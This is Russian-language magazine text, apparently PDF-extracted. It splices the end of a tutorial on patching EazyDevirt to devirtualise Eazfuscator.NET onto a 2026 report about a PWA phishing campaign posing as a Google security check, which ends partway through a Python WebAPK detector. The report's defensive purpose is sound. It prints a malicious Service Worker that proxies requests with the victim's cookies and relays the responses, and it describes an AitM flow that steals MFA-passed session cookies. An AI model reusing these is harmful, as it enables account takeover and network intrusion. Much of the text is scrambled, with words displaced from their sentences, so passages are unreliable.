_resourceGetterMethod.MetadataToken && m.MetadataToken !=       this.
_resourceModulusStringMethod.MetadataToken);

 if (!getVmInstanceMethod.Signature.ReturnsValue)
    {

          throw new Exception("Failed to get VM Declaring type!");
    }
...

Попробуем разобрать ее принцип и  шаги, приводящие к  появлению исклю‐
чения. Не буду вдаваться в подробности и проводить полный разбор процес‐
са девиртуализации, поскольку это займет много времени, а код деобфуска‐
тора лежит в свободном доступе, так что ты самостоятельно можешь разоб‐
рать его в  качестве домашнего задания. Попробую кратко объяснить прин‐
цип. Как и описанная в предыдущей статье , деоб‐
фускация Eazfuscator.NET состоит из нескольких этапов. В нашем случае каж‐
дый этап называется stage, и  их перебор осуществляет метод 

. Всего этих стадий четыре: ResourceParsing,

OpCodeMapping, MethodDiscovery и  MethodDevirtualizer, для  каждой имеется
свой собственный класс и «запускальщик».

деобфускация ConfuserEx

EazyDevirt.
Devirtualization.Run()

Пока что у нас все ломается на первой стадии — на этапе распознавания
методов работы с  криптованным потоком, содержащим код виртуализован‐
ных методов. Попробуем разобраться, как  работает это  распознавание
и  какие шаги привели к  исключению. Для  начала возьмем шаблон из  IL-
команд:

{
    CilOpCodes.Ldsfld,
    CilOpCodes.Brtrue_S,
    CilOpCodes.Ldtoken,
    CilOpCodes.Call,
    CilOpCodes.Callvirt,
    CilOpCodes.Ldstr,
    CilOpCodes.Callvirt,
    CilOpCodes.Ldc_I4,
    CilOpCodes.Newarr,
    CilOpCodes.Dup,
    CilOpCodes.Ldtoken,
    CilOpCodes.Call,
    CilOpCodes.Call,
    CilOpCodes.Call,
    CilOpCodes.Stsfld,
    CilOpCodes.Ldsfld,
    CilOpCodes.Ret
};

По этому шаблону определяется   — метод ини‐

циализации криптованного потока. По  счастью, он пока что не  изменился
в исследуемой нами версии.

_resourceGetterMethod

Вместе с ним успешно определяется и содержащий его класс работы с крип‐
тованным потоком, и  два других жизненно важных для  девиртуализации
метода:

;• _resourceInitializationMethod
.• _resourceModulusStringMethod

Однако с  распознаванием метода  выходит затык:

как видно из приведенного выше фрагмента кода, это по определению пер‐
вый метод класса, который не   и  не

. Возможно, когда‑то так и  было, однако

в нынешних реалиях в класс добавился следующий метод:

getVmInstanceMethod

_resourceGetterMethod
_resourceModulusStringMethod

{System.Void #=zw3$5yVs5n...zaCc54=)}

Добавился он еще  и перед  нашим, а  он дополнительному условию (должен
возвращать значение) не  удовлетворяет, что и  вызывает видимое на  скрин‐
шоте исключение. Добавляем это  дополнительное условие в  поиск, и  про‐
цесс девиртуализации продолжается дальше. Однако ненадолго.

Как видишь, даже первая стадия, ResourceParsing, не доходит до конца. Раз‐
бираемся дальше. Искомая ошибка «Failed to  find valid VM resource modulus
string method. Have strings been decrypted?» обнаруживается в  вызывающем
функцию  методе 

:

FindVMStreamMethods EazyDevirt.Devirtualization.
Pipeline.Init()

    private protected override bool Init()
    {

           bool found = this.FindVMStreamMethods();
           if (this._resourceGetterMethod == null)

        {
            base.Ctx.Console.Error("Failed to find VM resource 
stream getter method.");
        }

           if (this._resourceInitializationMethod == null)
        {
            base.Ctx.Console.Error("Failed to find VM resource 
stream initialization method.");
        }

           if (this._resourceModulusStringMethod != null)
        {

 
     

            if (!this._resourceModulusStringMethod.CilMethodBody.
Instructions.All((CilInstruction i) => i.OpCode != CilOpCodes.Ldstr))
            {

                 goto IL_94;
            }
        }
        base.Ctx.Console.Error("Failed to find valid VM resource 
modulus string method. Have strings been decrypted?");
        IL_94:
...

Суть ошибки состоит в  том, что в  IL-коде свежераспознанного метода
 должна присутствовать инструкция ,

аргументом которой является строковая константа, используемая в  даль‐
нейшем в качестве  (позже я объясню ее сакральный смысл).
Собственно, следующая в консоли ошибка «VM resource modulus string is null»
тоже связана с ее отсутствием. А получается это, поскольку изначально пред‐
полагалось, что метод  (в нашем случае он

называется ) должен возвращать строковую константу.
Он ее и  возвращает, правда теперь в  уже знакомом нам обфусцированном
виде:

_resourceModulusStringMethod Ldstr

_modulusString

_resourceModulusStringMethod
#=zXxD2n...LFWIRw==

   public static string #=zXxD2nyw3GQWJGS98FFVWxSezUYSCINJGcL6jHB$
EOUF0LFWIRw==()
{
     return #=zjsc8ywR05iBjsM$TSzzy5Bfjq_c3.#=zI35NzNE=(858006875);
}

Подсмотреть в  отладчике ее значение несложно  — это  кодированный
в Base64 массив байтов:

"opW9C...WbteHs36dE="

Продолжение статьи →
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А вот что с  этим делать, вопрос более сложный: вытащить значение непос‐
редственно из  кода (как было ранее) мы уже не  можем. То есть, если мы
хотим доделывать деобфускатор, нам придется вставлять туда как  минимум
деобфускацию строк на этом этапе.

Можно, конечно, смухлевать и  подсунуть девиртуализатору код после
de4dot и EazFixer, однако это уже не будет чистым экспериментом, поскольку
упомянутые деобфускаторы ломают исходный IL-код, да  и результат будет
заведомо неработоспособный. Поэтому, если ты, конечно, задашься целью
написать свой собственный деобфускатор на  основе этой статьи, предос‐
тавляю тебе решать эту проблему самостоятельно, тем более впереди нас
ожидают проблемы посерьезнее. Мы же пока что для продолжения разбора
просто заменим значение  найденной в  отладчике констан‐

той. Успешно выйдя из метода , мы обнаруживаем, для чего, собственно,
нам требовалась эта строка:

_modulusString
Init

       public override bool Run()
        {

             if (!this.Init())
            {

                 return false;
            }

               byte[] modulus = Convert.FromBase64String(this.
_modulusString);

                  byte[] modulus2 = new byte[this._keyBytes.Length + this.
_keyBytes.Length];

                Buffer.BlockCopy(this._keyBytes, 0, modulus2, 0, this.
_keyBytes.Length);

   
 

            Buffer.BlockCopy(modulus, 0, modulus2, this._keyBytes.
Length, modulus.Length);

                 BigInteger mod = new BigInteger(1, modulus2);
               BigInteger exp = BigInteger.ValueOf(65537L);

               byte[] buffer = this._resource.GetData();
                 base.Ctx.VMStream = new VMCipherStream(buffer, mod, exp);

    
 

            base.Ctx.VMResolverStream = new VMCipherStream(buffer,
mod, exp);

             return true;
        }

Судя по  всему, она содержит часть модуля ключа RSA (вторую половину мы
извлекаем в виде массива байтов из кода ), которым

зашифрован VM Resource , содер‐

жащий виртуализованный код (название которого мы тоже добываем
из  ). В  общем, кое‑как первую стадию

(ResourceParsing) мы благополучно прошли, а  вот на  следующей,
OpCodeMapping, процесс снова рушится.

_resourceGetterMethod
e2fb18dcc6e848089a9e1483b12e80a7

_resourceGetterMethod

Я тебя предупреждал, что нас ждет очень серьезная проблема? Вот и  она!
Для  начала откроем код 

 и попробуем разобраться, что такое OpCodeMapping:

EazyDevirt.Devirtualization.Pipeline.
OpCodeMapping.Run

...
   

 
  

        List<CilInstruction[]> allMatchingInstructions =
PatternMatcher.GetAllMatchingInstructions(new
OpCodeDictionaryAddPattern(), dictMethod, 2);
        List<VMOpCode> vmOpCodes = new List<VMOpCode>(
allMatchingInstructions.Count);
       TypeDefinition containerType = null;
        foreach (CilInstruction[] array in allMatchingInstructions)
    {

    
 

        SerializedFieldDefinition instructionField = array[2].Operand
as SerializedFieldDefinition;

   
  

        SerializedFieldDefinition instructionField2 = array[7].
Operand as SerializedFieldDefinition;

    
 

        SerializedMethodDefinition opCodeDelegate = array[9].Operand
as SerializedMethodDefinition;

           if (containerType == null)
        {

              containerType = instructionField.DeclaringType;
        }

           if (instructionField != instructionField2)
        {

              vmOpCodes.Add(new VMOpCode(instructionField2,
opCodeDelegate));
        }

          vmOpCodes.Add(new VMOpCode(instructionField, opCodeDelegate))
;
    }
     if (base.Ctx.Options.VeryVerbose)
    {

         base.Ctx.Console.InfoStr("VM opcodes with handlers",
vmOpCodes.Count);
    }
       if (containerType == null)
    {
        base.Ctx.Console.Error("VM opcode container type is null.");

         return false;
    }
...

Как ты уже, вероятно, догадался, для функционирования виртуальной машины
Eazfuscator.NET необходим массив (точнее, словарь) методов  — обработ‐
чиков каждой интерпретируемой виртуальной инструкции. При  инициали‐
зации виртуальной машины этот словарь заполняет определенный метод
(который в  EazyDevirt называется dictMethod). Соответственно, на  стадии
OpCodeMapping этот метод парсится, заполняя сначала список

, а  затем словарь , используемый
для дальнейшего разбора виртуализованного кода.
allMatchingInstructions vmOpCodes

Сам метод  распознается безошибочно (в нашем случае он

называется ), однако в этой версии раз‐

работчики, видимо учтя опыт предыдущих девиртуализаторов, постарались
сделать его код максимально сложным для парсинга, убрав все прямые ссыл‐
ки на имена и константы поглубже в обфусцированный код.

dictMethod
#=zPbL9ok$K6tPUc_9V7A2PSyrb4rhU

Как видишь, здесь не получится так просто, как с деобфускацией строк: чтобы
распарсить словарь виртуализованных команд, придется серьезно повозить‐
ся. Поэтому снова предоставлю тебе проделать эту процедуру самому, мы же
переходим к  новой стадии  — MethodDiscovery, которая, естественно, тоже
без ошибок не проходит.

Эта стадия предназначена для  распознавания виртуализованных методов,
которое базируется на  том, что виртуализованный метод содержит в  себе
вызов метода позиционирования указателя на  первую виртуальную команду
в  зашифрованном потоке. Указатель, как  ты, вероятно, опасался, тоже
закодирован, и для его раскодирования также нужен соответствующий метод.
Распознавание этого метода выполняется следующим кодом:

    private static bool IsLoadVMPositionMethod(MethodDefinition method)
    {

             if (method != null && !method.IsStatic)
        {

               MethodSignature signature = method.Signature;
                 if (signature != null && !signature.ReturnsValue)

            {
                   ParameterCollection parameters = method.Parameters;

         
  

    
    

      
  

                if (parameters != null && parameters.Count == 3 &&
method.Parameters[0].ParameterType.FullName == typeof(Stream).
FullName && method.Parameters[1].ParameterType.FullName == typeof(
long).FullName && method.Parameters[2].ParameterType.FullName ==
typeof(string).FullName && method.CilMethodBody != null && method.
CilMethodBody.Instructions[1].OpCode == CilOpCodes.Call)
                {

 
  

                    return method.CilMethodBody.Instructions[15].
OpCode == CilOpCodes.Call;
                }
            }
        }

         return false;
    }

Код отрабатывает почти нормально, под шаблон параметров прекрасно под‐
ходит следующий метод:

{System.Void #=qCBSI1rbeTHeJhCbqpwJFEjCAgAYzqrptWqa2nzaCc54=::
#=zkD4GERN$zsCA6poS90HNSCiDsTOX(System.IO.Stream, System.Int64, 
System.String)}

Подходит даже второй по счету опкод , а вот шестнадцатый уже не тот!Call

Исправляем это  досадное недоразумение, и  искомый метод благополучно
находится, а  вместе с  ним все  47  имеющихся в  модуле виртуализованных
методов, которые будут девиртуализованы на следующей стадии.

Фактически мы с тобой сейчас построили на базе EazyDevirt свой собствен‐
ный девиртуализатор актуальной версии Eazfuscator.NET. Осталась только
одна серьезная техническая проблема  — парсинг метода 

для получения словаря обработчиков опкодов. Боюсь, разбор решения этой
проблемы по объему выйдет за рамки статьи, вдобавок наверняка на стадии

 возникнут другие неприятные мелочи, связанные

с  изменением шаблонов кода новой версии. Мы же ставили себе задачу
не  написать полностью рабочий девиртуализатор определенной версии
Eazfuscator.NET, а  только наметить возможные пути для  работы с  виртуали‐
зованным кодом.

dictMethod

MethodDevirtualizer

Поэтому в  заключение, как  обычно, попробую предложить ленивое
решение для  патчинга виртуализованного кода Eazfuscator.NET без  написа‐
ния собственного девиртуализатора. Как  ты уже понял, ресурс модуля,
содержащий в  себе виртуализованный код (в нашем примере он носит имя

), покриптован RSA, что полностью
исключает его ручную правку. У нас ведь нет секретного ключа, имеется толь‐
ко публичный, процесс получения которого мы разобрали на  стадии
ResourceParsing.

e2fb18dcc6e848089a9e1483b12e80a7

На самом деле поверх RSA на него еще наложен хитрый XOR, что только
усложняет задачу, хотя куда уж сложнее‑то после RSA! Подробнее процесс
дешифрования ты можешь самостоятельно разобрать, исследуя классы
namespace EazyDevirt.Core.IO в исходниках EazyDevirt. Но всегда есть способ
смухлевать  — полностью расшифровать этот ресурс можно при  помощи
EazyDevirt.

В расшифрованном виде он вполне пригоден для исследования. Формат
хранения данных внутри него мы получаем, вдумчиво разбирая код класса

. Но, что

самое главное, в  расшифрованном виде его можно и  безболезненно пра‐
вить. Если, конечно, найти в  исследуемом модуле метод расшифровки VM-
потока при  помощи RSA и  закоротить его на  чтение из  незашифрованного
ресурса. Причем самую главную часть работы по  поиску данного класса
за нас уже проделал EazyDevirt — подсказал нам, где и чем именно инициали‐
зируется криптоалгоритм. Остальное — дело техники. © X

EazyDevirt.Devirtualization.Pipeline.MethodDevirtualizer
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Есть такой профессиональный рефлекс
у  людей, которые долго работают
в  безопасности: когда тебе говорят «уста‐
нови приложение по ссылке», внутри что‑то
сжимается. Годы работы с  инцидентами
вырабатывают здоровую паранойю.
Но  сегодня этот рефлекс перестал
работать. Потому что теперь «установи
по  ссылке» выглядит точно так же,
как  «открой сайт» и  «подтверди действие
в браузере».

Два года назад, в 2024-м, мы рассматривали PWA и WebAPK как экзотический
фишинговый вектор против клиентских приложений банков. К марту 2026-го
угроза мутировала. В  начале месяца исследователи зафиксировали мас‐
сированную кампанию, маскирующуюся под  проверку безопасности Google.
Злоумышленники больше не  крадут сами пароли. Они 

, , 
 (OTP) через WebOTP API и   к  геоло‐

кации и контактам.

превращают браузер
жертвы в  прокси‑сервер сканируют локальные сети перехватывают одно‐
разовые коды получают полный доступ

В этой статье мы разберем анатомию современной атаки от  первого
письма до полного контроля над устройством, предоставим актуальные инди‐
каторы компрометации (IoC), дадим пошаговые инструкции по  удалению
угрозы своими руками, а  также предложим готовый код детектора
и  обновленные методы корпоративной защиты, которые работают в  новой
реальности.

РАЗВИТИЕ УГРОЗЫ ЗА ДВА ГОДА

В  2024  году, когда аналитики Eset впервые забили тревогу, PWA и  WebAPK
рассматривались как новый и многообещающий вектор фишинга. Тогда атаки
были относительно прямолинейны: пользователя заманивали на сайт, где он
устанавливал приложение, крадущее логин и  пароль от  банка. Главным
козырем злоумышленников была возможность мимикрии под  легитимные
приложения и установка без предупреждений системы безопасности.

К марту  2026  года угроза совершила качественный скачок. Технология,
которая когда‑то использовалась для  кражи учетных данных, превратилась
в  многофункциональный инструмент шпионажа и  проксификации, не  име‐
ющий аналогов по  простоте распространения и  мощи. В  начале мар‐
та 2026 года исследователи Malwarebytes и   зафиксировали
массированную кампанию, использующую фейковый сайт безопасности
Google ( ). Злоумышленники больше не  ограничиваются

банковскими приложениями. Они нацелены на криптокошельки, одноразовые
пароли (OTP), геолокацию, контакты, а  сам браузер жертвы превращают
в прокси‑сервер для проведения атак на внутренние сети.

BleepingComputer

google-prism.com

СМЕРТЬ SIDELOADING И PWA КАК ОСНОВНОЙ ВЕКТОР

За два года, которые прошли с  первых крупных открытий Eset, ландшафт
угроз изменился кардинально. Главный триггер  — политика Google.

 Неверифицированные приложения блокируются Google Play
Protect. Это  нанесло сокрушительный удар по  традиционному распростра‐
нению вредоносных приложений через сторонние сайты (сайдлоадинг).

С  2026  года в  Google  обязательную верификацию раз‐

работчиков для  всех APK, распространяемых за  пределами

Google Play.

ввели

Ответ злоумышленников был быстрым и  элегантным: они полностью
переключились на Progressive Web Apps (PWA). PWA — это не APK-файлы, они
не  распространяются через сторонние магазины и, следовательно, не  под‐
падают под  новые правила верификации Google. Это  идеальный обходной
путь, который легализует установку вредоносного «софта» с  точки зрения
политик безопасности Android.

ВОЛНА АТАК GOOGLE PRISM

В центре внимания с начала года — фишинговая кампания, маскирующаяся
под проверку безопасности Google. Ее ключевые характеристики:

  (использует Cloudflare для  мас‐
кировки).

• Домен‑приманка: google-prism.com

 фишинговые письма, реклама в  соцсетях, ссылки

на взломанных сайтах.

• Вектор доставки:

 широкий круг пользователей, но с особым акцентом на владель‐
цев криптокошельков.

• Жертвы:

 пользователя проводят через  4-этапную «проверку безопас‐

ности», в ходе которой его убеждают установить PWA, выдать разрешения
(на уведомления, контакты, геолокацию) и в некоторых случаях установить
«компаньон» APK.

• Механика:

 кража OTP, криптовалют, контактов, геолокации и превращение бра‐

узера жертвы в прокси.

• Цель:

ОТ КРАЖИ ПАРОЛЕЙ К БЭКДОРУ В СЕТИ

Атаки 2024 года были «глупыми»: они показывали форму входа и отправляли
введенные данные злоумышленнику. Атаки  2026  года  — это  сложные бэк‐
доры. Вредоносное PWA-приложение 2026 года способно на следующее:
1. Кража контактов из адресной книги через Contact Picker API — под пред‐

логом «защиты вашего списка контактов».
2. Точное отслеживание геолокации через Geolocation API: широта, долгота,

высота, скорость, направление.
3. Перехват буфера обмена через Clipboard API для  кражи адресов крип‐

токошельков и одноразовых кодов.
4.  2FA/OTP (WebOTP API), то есть автоматический перехват одно‐

разовых кодов из SMS прямо в браузере.
Перехват

5. Проксификация и  сканирование сети (WebSocket, Fetch API). Это  самая
опасная функция. Браузер жертвы начинает выполнять роль HTTP-прокси,
а  атакующий может сканировать локальную сеть жертвы (порты, живые
хосты) и  отправлять запросы вовне, маскируясь под  нее. Это  позволяет
атаковать внутренние корпоративные ресурсы, минуя файрволы.

6.  (Service Workers, Push Notifications, Periodic Sync): PWA про‐
должает работать в  фоне, получает команды через push-уведомления
и периодически просыпается для синхронизации данных. Это обеспечива‐
ет доступ к устройству, даже когда пользователь неактивен.

Закрепление

ПОЧЕМУ АЛЕРТЫ НЕ СРАБАТЫВАЮТ?

Проблема  2024  года (установка без  предупреждения) осталась, но  к ней
добавилась новая: легитимность действий. Атака  2026  года вместо экспло‐
итов использует социальную инженерию, чтобы заставить пользователя
самостоятельно выдать все разрешения через стандартные системные
диалоги браузера. Пользователь сам нажимает «Разрешить» на  запрос
геолокации и  уведомлений, думая, что проходит проверку безопасности
Google. Антивирус не принимает это за подозрительную активность.

СХЕМА АТАКИ ОТ ПИСЬМА ДО ПОЛНОГО КОНТРОЛЯ

Рассмотрим, как работает современная атака на примере кампании, зафик‐
сированной в марте.

 Жертва переходит на  сайт

 по  ссылке из  письма или  рекламы. Сайт до  мельчайших

деталей имитирует официальную панель безопасности Google (используются
шрифты, иконки, цветовая гамма Google) и призывает пройти «проверку акка‐
унта» в четыре шага для усиления защиты.

Шаг  1  — приманка и  Landing Page.

google-prism.com

 Первый шаг «проверки»  — установка прог‐
рессивного веб‑приложения. Пользователю показывают стандартный
интерфейс браузера с  кнопкой «Установить». После установки приложение
открывается в  полноэкранном режиме ( ), скрывая

адресную строку и создавая полную иллюзию нативного приложения.

Шаг 2 — установка PWA.

display: "fullscreen"

 Внутри установленного PWA поль‐

зователя просят предоставить разрешения:

Шаг  3  — выдача разрешений.

 «для получения оповещений безопасности»  — создает

постоянный канал связи.

• Уведомления:

 «для защиты ваших контактов от взлома» — кража данных.• Контакты:

 «для подтверждения входа с доверенного места» — слежка.• Геолокация:

Все эти запросы реализованы как  стандартное диалоговое окно браузера
и выглядят легитимно.

 Как только разрешения получе‐

ны, PWA начинает свою работу:

Шаг 4 — кража данных (PWA Layer).

Считывает и  отправляет на  сервер злоумышленников контакты и  GPS-
координаты.

•

Активирует мониторинг буфера обмена. Если пользователь копирует
адрес кошелька или OTP-код, они мгновенно уходят атакующему.

•

Включает WebSocket-ретранслятор. Сервер атакующего теперь может
отправлять команды браузеру жертвы, заставляя его сканировать внут‐
реннюю сеть или ходить на сайты от имени жертвы. Каждые 30 с приложе‐
ние стучится на   за новыми командами.

•

/api/heartbeat

 В некоторых слу‐

чаях жертве предлагается установить «критическое обновление безопас‐
ности» — APK-файл для Android. Если пользователь соглашается, он получает
полноценного трояна, который запрашивает , включая дос‐

туп к  специальным возможностям (Accessibility), что дает злоумышленникам
полный контроль над устройством.

Шаг 5 (опционально) — установка APK-компаньона.

33 разрешения

АНАТОМИЯ МАНИФЕСТА

Код манифеста, который использовался в атаке на  :google-prism.com

{
  "name": "Google Security Check",
  "short_name": "SecurityCheck",
  "start_url": "/dashboard?src=pwa",
  "display": "fullscreen",
  "scope": "/",
  "icons": [ /* иконки, имитирующие Google */ ],
  // Нестандартное, но показательное расширение
  "permissions": {
    "notifications": "required",
    "geolocation": "optional"
  }
}

КОД ВРЕДОНОСНОГО SERVICE WORKER

В центре атаки — Service Worker, который обеспечивает постоянство и прок‐
си‑функции. Вот упрощенный код, демонстрирующий принцип работы
WebSocket-ретранслятора, описанный в отчетах Malwarebytes:

// Фрагмент Service Worker, превращающий браузер в прокси
   self.addEventListener('message', (event) => {

     if (event.data.type === 'PROXY_REQUEST') {
             const { requestId, url, method, headers, body } = event.data;

    // Выполняем запрос от имени жертвы
           fetch(url, { method, headers, body, credentials: 'include' })

        .then(async (response) => {
        // Отправляем ответ обратно атакующему через WebSocket

            const client = await self.clients.get(event.source.id);
        client.postMessage({

           type: 'PROXY_RESPONSE',
           requestId: requestId,

           status: response.status,
           headers: [...response.headers],

            body: await response.text()
        });
      });
  }
});

// Периодическое пробуждение для проверки команд
   self.addEventListener('periodicsync', (event) => {

     if (event.tag === 'heartbeat') {
    event.waitUntil(fetch('/api/heartbeat'));
  }
});

Этот код превращает браузер жертвы в идеальный инструмент для атакующе‐
го, позволяя обходить сетевые фильтры и  получать доступ к  внутренним
ресурсам, которые не видны извне.

ТЕХНИКИ ОБХОДА МНОГОФАКТОРНОЙ АУТЕНТИФИКАЦИИ (MFA)

Последние атаки продемонстрировали новый уровень эффективности против
MFA. Вместо простого фишинга пароля и  надежды на  то, что жертва
не использует 2FA, злоумышленники применяют два мощных метода.

Перехват OTP через WebOTP API
Современные браузеры на Android поддерживают API WebOTP, который поз‐
воляет сайту (и PWA) получать одноразовые коды из SMS без дополнительных
разрешений, если SMS пришло с  домена, соответствующего сайту. Зло‐
умышленники адаптировали эту технологию. PWA просит пользователя ввести
номер телефона для «активации защиты», а затем, когда приходит реальное
SMS с  кодом от  банка или  сервиса, PWA перехватывает его автоматически.
При этом пользователь даже не видит уведомления о пришедшем SMS.

Adversary-in-the-middle (AitM) на базе PWA
Это эволюция классического прокси‑фишинга. Когда жертва входит в  свой
аккаунт через вредоносное PWA, приложение одновременно проксирует зап‐
росы на настоящий сервер и обратно.
1. Жертва вводит логин и пароль.
2. PWA передает их на настоящий сайт.
3. Настоящий сайт присылает вызов MFA (например, пуш в  приложе‐

ние‑аутентификатор).
4. Жертва подтверждает вход, думая, что это часть ее сессии.
5. PWA перехватывает сессионный cookie, который создается после

успешного прохождения MFA, и отдает его злоумышленнику.

Злоумышленник получает готовую сессию, уже прошедшую MFA, и может вой‐
ти в  аккаунт жертвы, пока она занимается своими делами в  поддельном
интерфейсе.

ПРАКТИЧЕСКАЯ ФОРЕНЗИКА И IOC (INDICATORS OF COMPROMISE)

Ключевые индикаторы компрометации
Давай разберем, на  какие признаки нужно смотреть при  анализе подоз‐
рительного устройства.

Сетевые индикаторы:

  и  другие подозрительные домены, ими‐

тирующие Google, Microsoft, банки. Проверяй наличие в истории браузера
или логах DNS.

• Домены: google-prism.com

 регулярные запросы к  , 

или подобным.

• Эндпоинты: /api/heartbeat /api/commands

 длительные и  постоянные WebSocket-соеди‐
нения с  незнакомыми серверами, особенно когда браузер закрыт (бла‐
годаря Service Worker).

• WebSocket-соединения:

Индикаторы на устройстве:

 наличие в  браузере ( , 

) приложений с  названиями вроде Security Check, System Service,
Google Verification.

• Установленные PWA: chrome://apps edge://
apps

  (пакет, зафик‐
сированный в кампании google-prism.com). Приложение с правами адми‐
нистратора устройства, которое невозможно удалить стандартным спо‐
собом.

• Пакет APK (если установлен): com.device.sync

 любое приложение, запрашивающее одновременно доступ
к  контактам, геолокации, SMS и  уведомлениям, должно рассматриваться
как критически опасное.

• Разрешения:

Поведенческие индикаторы:

 уведомления, призывающие открыть

приложение для «проверки безопасности», особенно если ты его не уста‐
навливал.

• Неожиданные push-уведомления:

 признаки фоновой активности,

такой как сканирование сети или проксирование трафика.

• Торможение браузера или  телефона:

 исходящие соединения на  необычные

порты или IP-адреса с твоего устройства, инициируемые браузером.

• Странная сетевая активность:

КАК ОБНАРУЖИТЬ УГРОЗУ

Для пользователей Windows/macOS/Linux (браузеры Chrome,

Edge)

1. Проверка установленных PWA:

Открой браузер Chrome или Edge.•
В адресной строке введи  (для Chrome) или 

 (для Edge).
• chrome://apps edge://
apps
Внимательно посмотри список. Если видишь приложение, которое
не  устанавливал (например, Security Check), нажми на  него правой
кнопкой мыши и выбери «Удалить из Chrome» или «Удалить».

•

2. Управление уведомлениями:

Перейди в   (или ана‐
логичный раздел в Edge).

• chrome://settings/content/notifications

В  разделе «Запрещено отправлять уведомления» просмотри список
сайтов, которым разрешал уведомления. Если там есть 

 или другие подозрительные адреса, удали их.

•
google-

prism.com
3. Проверка расширений:

Перейди в  .• chrome://extensions
Удали все незнакомые или подозрительные расширения.•

4. Очистка данных браузера:

Очисти кеш, файлы cookie и историю за последние семь дней.•

Для пользователей Android

1. Удаление вредоносного APK (если устанавливал):

 если приложение имеет права администратора, сначала отзо‐

ви их.

• ВАЖНО:

Перейди в «Настройки → Безопасность → Другие настройки безопас‐
ности → Администраторы устройства» (путь может отличаться в зависи‐
мости от версии Android и производителя).

•

Найди приложение с  названием System Service или   
. Сними с  него галочку, чтобы отозвать права админис‐

тратора.

• пакетом com.
device.sync

Теперь перейди в «Настройки → Приложения».•
Найди подозрительное приложение (Security Check, System Service)
и нажми «Удалить».

•

2. Удаление вредоносного PWA:

Открой браузер Chrome на Android.•
Перейди в  меню (три точки), затем «Настройки → Приложения» (или
«Приложения и сайты», «PWA-приложения»).

•

Ты увидишь список установленных PWA. Нажми на  подозрительное
и выбери «Удалить».

•

3. Проверка разрешений:

Перейди в «Настройки → Приложения → Все приложения».•
Найди свой браузер (Chrome). Нажми «Разрешения».•
Просмотри, каким сайтам ты дал разрешения на геолокацию, контакты
и  уведомления. Если там есть , удали эти раз‐
решения.

•
google-prism.com

Для пользователей iOS (Safari)

1. Удаление PWA с главного экрана:

На главном экране iPhone или iPad найди иконку подозрительного PWA.•
Нажми и удерживай иконку, пока не начнется вибрация.•
Нажми «Удалить приложение → Удалить с главного экрана».•

2. Очистка данных сайтов:

Перейди в «Настройки → Safari».•
Прокрути вниз и нажми «Дополнения → Данные веб‑сайтов».•
Найди  или другие подозрительные домены и уда‐
ли их.

• google-prism.com
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PWA И WEBAPK

В 2026-М
 КАК НОВЫЕ БАНКОВСКИЕ ТРОЯНЫ

ВТИРАЮТСЯ В ДОВЕРИЕ
И ЗАХВАТЫВАЮТ ТЕЛЕФОН

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПИШЕМ ДЕТЕКТОР

При анализе подозрительного PWA или  WebAPK сейчас нужно искать сле‐
дующие красные флаги:
1.  приложение просит доступ к  геоло‐

кации, контактам и  уведомлениям одновременно. Для  большинства
легитимных PWA это избыточно.

Массовый запрос разрешений:

2.  наличие кода, специфичного
для  , в  сочетании с  фор‐
мой входа — явный признак фишинга.

Использование WebOTP API:

navigator.credentials.get({otp: ...})

3.  обнаружение кода, устанавливающего длитель‐
ное WebSocket-соединение с внешним сервером и ожидающего команд.
WebSocket-соединения:

4.  обнаружение в коде Service Worker

функций, перехватывающих и ретранслирующих сетевые запросы (
внутри ).

Service Worker с функцией прокси:

fetch
message event

5.  использование API

 для регулярного запуска в фоне.

Периодическая фоновая синхронизация:

periodicsync

Вот код, который будет это делать:

"""
WebAPK Detector - Static Analysis Module
"""

 import os
 import re
 import json
 import zipfile
 import subprocess

    from dataclasses import dataclass, field
   from typing import Optional
   from urllib.parse import urlparse

   import xml.etree.ElementTree as ET

@dataclass
 class WebApkInfo:

     package_name: str
     apk_path: str
       start_url: str = ""
       scope_url: str = ""
       app_name: str = ""
       permissions: list = field(default_factory=list)
       services: list = field(default_factory=list)
       receivers: list = field(default_factory=list)
       cert_issuer: str = ""
       risk_score: int = 0
       risk_flags: list = field(default_factory=list)

 class WebApkDetector:

    # Соответствие ключевых слов в имени приложения → ожидаемый домен
    # В продакшене: загружать из обновляемой базы данных
      EXPECTED_DOMAINS = {

         "сбербанк": "sberbank.ru",
         "тинькофф": "tinkoff.ru",

         "альфа": "alfabank.ru",
         "втб": "vtb.ru",

         "raiffeisen": "raiffeisen.ru",
         "otp": "otpbank.hu",
         "tbc": "tbcbank.ge",
         "pko": "pkobp.pl",

    }

    # Разрешения с весами риска
      HIGH_RISK_PERMISSIONS = {

         "android.permission.RECEIVE_SMS": 30,
         "android.permission.READ_SMS": 30,
         "android.permission.SEND_SMS": 40,

         "android.permission.READ_CONTACTS": 20,
         "android.permission.READ_CALL_LOG": 35,

         "android.permission.BIND_DEVICE_ADMIN": 50,
         "android.permission.SYSTEM_ALERT_WINDOW": 45,

         "android.permission.BIND_ACCESSIBILITY_SERVICE": 50,
    }

         def is_webapk(self, apk_path: str) -> bool:
        """Проверяем, является ли APK файлом WebAPK"""
        try:

                with zipfile.ZipFile(apk_path, 'r') as apk:
                   for marker in ["assets/webapk_info/manifest.json",

                                "assets/manifest.json"]:
                       if marker in apk.namelist():

                         return True
         except Exception:

            pass
         return False

         def extract_webapk_info(self, apk_path: str) -> Optional[
WebApkInfo]:
        """Извлекаем всю информацию из WebAPK"""
        try:

                with zipfile.ZipFile(apk_path, 'r') as apk:
                  manifest_json = None

                   for path in ["assets/webapk_info/manifest.json",
                             "assets/manifest.json"]:

                       if path in apk.namelist():
                          manifest_json = json.loads(

                            apk.read(path).decode('utf-8'))
                        break

                  if not manifest_json:
                     return None

                  info = WebApkInfo(
                    package_name=self._get_package_name(apk_path),
                    apk_path=apk_path,

                     start_url=manifest_json.get('start_url', ''),
                     scope_url=manifest_json.get('scope', ''),

                     app_name=manifest_json.get('name', ''),
                )

                  android_manifest = self._parse_android_manifest(
apk_path)

  
 

                info.permissions = android_manifest.get('permissions'
, [])

                   info.services = android_manifest.get('services', [])
                   info.receivers = android_manifest.get('receivers', []

)
                  info.cert_issuer = self._get_cert_issuer(apk_path)

                 return info

           except Exception as e:
            print(f"[!] Ошибка при анализе {apk_path}: {e}")

             return None

         def _parse_android_manifest(self, apk_path: str) -> dict:
        """Парсим AndroidManifest.xml через apktool"""

               result = {"permissions": [], "services": [], "receivers": []}
        try:

             import tempfile
               with tempfile.TemporaryDirectory() as tmpdir:

                subprocess.run(
                        ["apktool", "d", apk_path, "-o", tmpdir,

                      "-f", "--no-src"],
                     capture_output=True, timeout=30

                )
